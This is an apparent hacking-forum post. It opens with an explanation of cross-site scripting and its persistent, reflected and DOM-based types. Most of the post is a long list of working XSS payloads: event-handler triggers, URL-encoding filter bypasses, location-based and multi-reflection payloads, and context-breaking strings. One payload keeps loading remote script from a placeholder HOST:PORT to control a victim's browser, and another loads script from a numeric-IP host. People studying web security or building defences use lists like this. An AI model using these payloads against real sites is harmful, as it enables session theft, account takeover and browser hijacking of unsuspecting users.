Pentest bunker!

Hey everyone ! - today like all days i was playing with gist -> No tienes permitido ver enlaces. Registrate o Entra a tu cuenta -- we can found a lot of good stuff ... and fresh ! - u need to make the right contacts and see the RSS FEEDS  8) (If u are interested pm-me  ::) -

---

• No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
• No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
• No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
• No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
• No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Exploitation

---

   
• XSS

---

---

---

Cross-site scripting (XSS) is a code injection attack that allows an attacker to execute malicious JavaScript in another user's browser. The attacker does not directly target his victim. Instead, he exploits a vulnerability in a website that the victim visits, in order to get the website to deliver the malicious JavaScript for him. To the victim's browser, the malicious JavaScript appears to be a legitimate part of the website, and the website has thus acted as an unintentional accomplice to the attacker.

How the malicious JavaScript is injected

The only way for the attacker to run his malicious JavaScript in the victim's browser is to inject it into one of the pages that the victim downloads from the website. This can happen if the website directly includes user input in its pages, because the attacker can then insert a string that will be treated as code by the victim's browser.

In the example below, a simple server-side script is used to display the latest comment on a website



The script assumes that a comment consists only of text. However, since the user input is included directly, an attacker could submit this comment: "<script>...</script>". Any user visiting the page would now receive the following response:



When the user's browser loads the page, it will execute whatever JavaScript code is contained inside the <script> tags. The attacker has now succeeded with his attack.

What is malicious JavaScript?

At first, the ability to execute JavaScript in the victim's browser might not seem particularly malicious. After all, JavaScript runs in a very restricted environment that has extremely limited access to the user's files and operating system. In fact, you could open your browser's JavaScript console right now and execute any JavaScript you want, and you would be very unlikely to cause any damage to your computer.

However, the possibility of JavaScript being malicious becomes more clear when you consider the following facts:

   
• JavaScript has access to some of the user's sensitive information, such as cookies.
• JavaScript can make arbitrary modifications to the HTML of the current page by using DOM manipulation methods.
• JavaScript can send HTTP requests with arbitrary content to arbitrary destinations by using XMLHttpRequest and other mechanisms.

These facts combined can cause very serious security breaches, as we will explain next.

The consequences of malicious JavaScript

Among many other things, the ability to execute arbitrary JavaScript in another user's browser allows an attacker to perform the following types of attacks:

• Cookie theft The attacker can access the victim's cookies associated with the website using document.cookie, send them to his own server, and use them to extract sensitive information like session IDs.
• Keylogging The attacker can register a keyboard event listener using addEventListener and then send all of the user's keystrokes to his own server, potentially recording sensitive information such as passwords and credit card numbers.
• Phishing The attacker can insert a fake login form into the page using DOM manipulation, set the form's action attribute to target his own server, and then trick the user into submitting sensitive information.

Although these attacks differ significantly, they all have one crucial similarity: because the attacker has injected code into a page served by the website, the malicious JavaScript is executed in the context of that website. This means that it is treated like any other script from that website: it has access to the victim's data for that website (such as cookies) and the host name shown in the URL bar will be that of the website. For all intents and purposes, the script is considered a legitimate part of the website, allowing it to do anything that the actual website can.

This fact highlights a key issue:

If an attacker can use your website to execute arbitrary JavaScript in another user's browser, the security of your website and its users has been compromised.

To emphasize this point, some examples in this tutorial will leave out the details of a malicious script by only showing <script>...</script>. This indicates that the mere presence of a script injected by the attacker is the problem, regardless of which specific code the script actually executes.

---

---

Actors in an XSS attack

Before we describe in detail how an XSS attack works, we need to define the actors involved in an XSS attack. In general, an XSS attack involves three actors: the website, the victim, and the attacker.

• The website serves HTML pages to users who request them. In our examples, it is located at http://website/.


• The website's database is a database that stores some of the user input included in the website's pages.

• The victim is a normal user of the website who requests pages from it using his browser.

• The attacker is a malicious user of the website who intends to launch an attack on the victim by exploiting an XSS vulnerability in the website.


• The attacker's server is a web server controlled by the attacker for the sole purpose of stealing the victim's sensitive information. In our examples, it is located at http://attacker/.

An example attack scenario


In this example, we will assume that the attacker's ultimate goal is to steal the victim's cookies by exploiting vulnerability in the website. This can be done by having the victim's browser parse the following HTML code:



This script navigates the user's browser to a different URL, triggering an HTTP request to the attacker's server. The URL includes the victim's cookies as a query parameter, which the attacker can extract from the request when it arrives to his server. Once the attacker has acquired the cookies, he can use them to impersonate the victim and launch further attacks.

From now on, the HTML code above will be referred to as the malicious string or the malicious script. It is important to note that the string itself is only malicious if it ultimately gets parsed as HTML in the victim's browser, which can only happen as the result of an XSS vulnerability in the website.

How the example attack works

The diagram below illustrates how this example attack can be performed by an attacker:

• The attacker uses one of the website's forms to insert a malicious string into the website's database.
• The victim requests a page from the website.
• The website includes the malicious script inside the response, sending the victim's cookies to the attacker's server.
  
• The victim requests a page from the website.
• The website includes the malicious string from the database in the response and sends it to the victim.
• The victim's browser executes the malicious script inside the response, sending the victim's cookies to the attacker's server.

Types of XSS

While the goal of an XSS attack is always to execute malicious JavaScript in the victim's browser, there are few fundamentally different ways of achieving that goal. XSS attacks are often divided into three types:

• 
  Persistent XSS, where the malicious string originates from the website's database.
• Reflected XSS, where the malicious string originates from the victim's request.
• DOM-based XSS, where the vulnerability is in the client-side code rather than the server-side code.

The previous example illustrated a persistent XSS attack. We will now describe the other two types of XSS attacks: reflected XSS and DOM-based XSS.

Reflected XSS

In a reflected XSS attack, the malicious string is part of the victim's request to the website. The website then includes this malicious string in the response sent back to the user. The diagram below illustrates this scenario:

• The attacker crafts a URL containing a malicious string and sends it to the victim.
• The victim is tricked by the attacker into requesting the URL from the website.
• The website includes the malicious string from the URL in the response.
• The victim's browser executes the malicious script inside the response, sending the victim's cookies to the attacker's server.

How can reflected XSS succeed?

At first, reflected XSS might seem harmless because it requires the victim himself to actually send a request containing a malicious string. Since nobody would willingly attack himself, there seems to be no way of actually performing the attack.

As it turns out, there are at least two common ways of causing a victim to launch a reflected XSS attack against himself:

• If the user targets a specific individual, the attacker can send the malicious URL to the victim (using e-mail or instant messaging, for example) and trick him into visiting it.
• If the user targets a large group of people, the attacker can publish a link to the malicious URL (on his own website or on a social network, for example) and wait for visitors to click it.

These two methods are similar, and both can be more successful with the use of a URL shortening service, which masks the malicious string from users who might otherwise identify it.

DOM-based XSS

DOM-based XSS is a variant of both persistent and reflected XSS. In a DOM-based XSS attack, the malicious string is not actually parsed by the victim's browser until the website's legitimate JavaScript is executed. The diagram below illustrates this scenario for a reflected XSS attack:

• The attacker crafts a URL containing a malicious string and sends it to the victim.
• The victim is tricked by the attacker into requesting the URL from the website.
• The website receives the request, but does not include the malicious string in the response.
• The victim's browser executes the legitimate script inside the response, causing the malicious script to be inserted into the page.
• The victim's browser executes the malicious script inserted into the page, sending the victim's cookies to the attacker's server.
  

What makes DOM-based XSS different

In the previous examples of persistent and reflected XSS attacks, the server inserts the malicious script into the page, which is then sent in a response to the victim. When the victim's browser receives the response, it assumes the malicious script to be part of the page's legitimate content and automatically executes it during page load as with any other script.

In the example of a DOM-based XSS attack, however, there is no malicious script inserted as part of the page; the only script that is automatically executed during page load is a legitimate part of the page. The problem is that this legitimate script directly makes use of user input in order to add HTML to the page. Because the malicious string is inserted into the page using innerHTML, it is parsed as HTML, causing the malicious script to be executed.

The difference is subtle but important:

• In traditional XSS, the malicious JavaScript is executed when the page is loaded, as part of the HTML sent by the server.
• In DOM-based XSS, the malicious JavaScript is executed at some point after the page has loaded, as a result of the page's legitimate JavaScript treating user input in an unsafe way.

Why DOM-based XSS matters

In the previous example, JavaScript was not necessary; the server could have generated all the HTML by itself. If the server-side code were free of vulnerabilities, the website would then be safe from XSS.

However, as web applications become more advanced, an increasing amount of HTML is generated by JavaScript on the client-side rather than by the server. Any time content needs to be changed without refreshing the entire page, the update must be performed using JavaScript. Most notably, this is the case when a page is updated after an AJAX request.

This means that XSS vulnerabilities can be present not only in your website's server-side code, but also in your website's client-side JavaScript code. Consequently, even with completely secure server-side code, the client-side code might still unsafely include user input in a DOM update after the page has loaded. If this happens, the client-side code has enabled an XSS attack through no fault of the server-side code.

DOM-based XSS invisible to the server

There is a special case of DOM-based XSS in which the malicious string is never sent to the website's server to begin with: when the malicious string is contained in a URL's fragment identifier (anything after the # character). Browsers do not send this part of the URL to servers, so the website has no way of accessing it using server-side code. The client-side code, however, has access to it and can thus cause XSS vulnerabilities by handling it unsafely.

This situation is not limited to fragment identifiers. Other user input that is invisible to the server includes new HTML5 features like LocalStorage and IndexedDB.

---

Our weapon: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

We can test XSS's in this site: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, but we need to bypass the security of the browser if we want to see any result, or of course work in blackbox ! ...

Okay it's great ! but I'll present you another friend, it's No tienes permitido ver enlaces. Registrate o Entra a tu cuenta ... weird site but it's safe , don't worry  , because I'm a good guy, I'll put the interesting links because I understand japanese is not ur natural language haha...

Tools
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Testing side

• No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
• No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
• No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
• No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
• No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
• No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
• No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

And we can obtain information of interesting XSS techniques, like No tienes permitido ver enlaces. Registrate o Entra a tu cuenta and moar

---

#XSS Payload Scheme

[/list][/list][/list]

extra1 <tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3

#Agnostic Event Handlers

<brute contenteditable onblur=alert(1)>lose focus!

<brute onclick=alert(1)>click this!

<brute oncopy=alert(1)>copy this!

<brute oncontextmenu=alert(1)>right click this!

<brute oncut=alert(1)>copy this!

<brute ondblclick=alert(1)>double click this!

<brute ondrag=alert(1)>drag this!

<brute contenteditable onfocus=alert(1)>focus this!

<brute contenteditable oninput=alert(1)>input here!

<brute contenteditable onkeydown=alert(1)>press any key!

<brute contenteditable onkeypress=alert(1)>press any key!

<brute contenteditable onkeyup=alert(1)>press any key!

<brute onmousedown=alert(1)>click this!

<brute onmousemove=alert(1)>hover this!

<brute onmouseout=alert(1)>hover this!

<brute onmouseover=alert(1)>hover this!

<brute onmouseup=alert(1)>click this!

<brute contenteditable onpaste=alert(1)>paste here!

<brute style=font-size:500px onmouseover=alert(1)>0000

#Filter Bypass procedure

<x onxxx=1

%3Cx onxxx=1

<%78 onxxx=1

<x %6Fnxxx=1

<x o%6Exxx=1

<x on%78xx=1

<x onxxx%3D1

<X onxxx=1

<x ONxxx=1

<x OnXxx=1

<X OnXxx=1

<x onxxx=1 onxxx=1

<x/onxxx=1

<x%09onxxx=1

<x%0Aonxxx=1

<x%0Conxxx=1

<x%0Donxxx=1

<x%2Fonxxx=1

<x 1='1'onxxx=1

<x 1="1"onxxx=1

<x </onxxx=1

<x 1=">" onxxx=1

<http://onxxx%3D1/

<x%2F1=">%22OnXxx%3D1

#Probing to Find XSS

param1=1<1&param2=2<1&param3=3<1

#Location Based Payloads – Part I

<svg/onload=location='javascript:alert(1)'>

<svg/onload=location=location.hash.substr(1)>#javascript:alert(1)

<svg/onload=location='javas'%2B'cript:'%2B'ale'%2B'rt'%2Blocation.hash.substr(1)>#(1)

<svg/onload=location=/javas/.source%2B/cript:/.source%2B
/ale/.source%2B/rt/.source%2Blocation.hash.substr(1)>#(1)

<svg/onload=location=/javas/.source%2B/cript:/.source%2B/ale/.source
%2B/rt/.source%2Blocation.hash[1]%2B1%2Blocation.hash[2]>#()#

#Location Based Payloads – Part II

<svg onload=alert(tagName)>

<javascript onclick=alert(tagName)>click me!

<javascript onclick=alert(tagName%2Blocation.hash)>click me!#:alert(1)

<javascript: onclick=alert(tagName%2Blocation.hash)>click me!#alert(1)

<javascript: onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>/*click me!#*/alert(1)

<javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>/*click me!#*/alert(1)

<javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>'click me!#'-alert(1)

<javascript: onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>
'click me!</javascript:>#'-alert(1)

#Location Based Payloads – Part III

<javascript onclick=location=tagName%2binnerHTML%2blocation.hash>:/*click me!#*/alert(9)

<javascript onclick=location=tagName%2binnerHTML%2blocation.hash>:'click me!#'-alert(9)

<javascript: onclick=location=tagName%2bURL>click me!#%0Aalert(1)

<javascript:"-' onclick=location=tagName%2bURL>click me!#'-alert(1)

<j onclick=location=innerHTML%2bURL>javascript:"-'click me!</j>#'-alert(1)

<j onclick=location=innerHTML%2bURL>javascript:</j>#%0Aalert(1)

<javas onclick=location=tagName%2binnerHTML%2bURL>cript:"-'click me!</javas>#'-alert(1)

<javas onclick=location=tagName%2binnerHTML%2bURL>cript:</javas>#%0Aalert(1)

"-alert(1)<javascript:" onclick=location=tagName%2bpreviousSibling.nodeValue>click me!

"-alert(1)<javas onclick=location=tagName%2binnerHTML%2bpreviousSibling.nodeValue>cript:"click me!

<alert(1)<!– onclick=location=innerHTML%2bouterHTML>javascript:1/*click me!*/</alert(1)<!–>

<j 1="*/""-alert(1)<!– onclick=location=innerHTML%2bouterHTML>javascript:/*click me!

*/"<j"-alert(1)<!– onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!

*/"<j 1=-alert(9)// onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!

<j onclick=location=innerHTML>javascript%26colon;alert(1)//

<iframe id=t:alert(1) name=javascrip onload=location=name%2bid>

<svg id=?p=<svg/onload=alert(1)%2B onload=location=id>

<svg id=?p=<script/src=//3237054390/1%2B onload=location=id>

<j onclick=location=textContent>?p=%26lt;svg/onload=alert(1)>

<j%26p=<svg%2Bonload=alert(1) onclick=location%2B=outerHTML>click me!

<j onclick=location%2B=textContent>%26p=%26lt;svg/onload=alert(1)>

%26p=%26lt;svg/onload=alert(1)><j onclick=location%2B=document.body.textContent>click me!

#Location Based Payloads – Part IV

protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3

Source-Breaking Injections

"onafterscriptexecute=alert(1) 1='

"onbeforescriptexecute=alert(1) 1='

#Using XSS to Control a Browser

<svg onload=setInterval(function(){d=document;
z=d.createElement("script");z.src="//HOST:PORT";
d.body.appendChild(z)},0)>

#Multi Reflection XSS

<svg onload=write(1)>

p='onload=alert(1)><svg/1='

p='>alert(1)</script><script/1='

p=*/alert(1)</script><script>/*

p=*/alert(1)">'onload="/*<svg/1='

p=`-alert(1)">'onload="`<svg/1='

p=*/</script>'>alert(1)/*<script/1='

p=<svg/1='&q='onload=alert(1)>

p=<svg 1='&q='onload='/*&r=*/alert(1)'>

p=-alert(1)}//\

p=\&q=-alert(1)//

#XSS Without Event Handlers

<script>alert(1)</script>

<script src=javascript:alert(1)>

<iframe src=javascript:alert(1)>

<embed src=javascript:alert(1)>

<a href=javascript:alert(1)>click

<math><brute href=javascript:alert(1)>click

<isindex action=javascript:alert(1) type=submit value=click>

<form><button formaction=javascript:alert(1)>click

<form><input formaction=javascript:alert(1) type=submit value=click>

<form><input formaction=javascript:alert(1) type=image value=click>

<form><input formaction=javascript:alert(1) type=image src=http://brutelogic.com.br/webgun/img/youtube1.jpg>

<isindex formaction=javascript:alert(1) type=submit value=click>

<object data=javascript:alert(1)>

<iframe srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;>

<svg><script xlink:href=data:,alert(1)></script>

<svg><script xlink:href=data:,alert(1) />

<math><brute xlink:href=javascript:alert(1)>click

<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 />
<animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=%26>

#Transcending Context-Based Filters

<math><!–" href=javascript:alert(1)//

" href=javascript:alert(1) <math><!–

lol video<!–"href=javascript:alert(1) style=font-size:50px;
display:block;color:transparent;
background:url('//brutelogic.com.br/webgun/img/youtube1.jpg');
background-repeat:no-repeat –><math><!–

<svg><!–'-alert(1)-'

'-alert(1)-'<svg><!–

---

---

Credits to No tienes permitido ver enlaces. Registrate o Entra a tu cuenta document and @tfaraine

---

HOLA!!!

Cool stuf bro, I really love your contributions.

GRACIAS POR LEER!!!

Awesome!, very good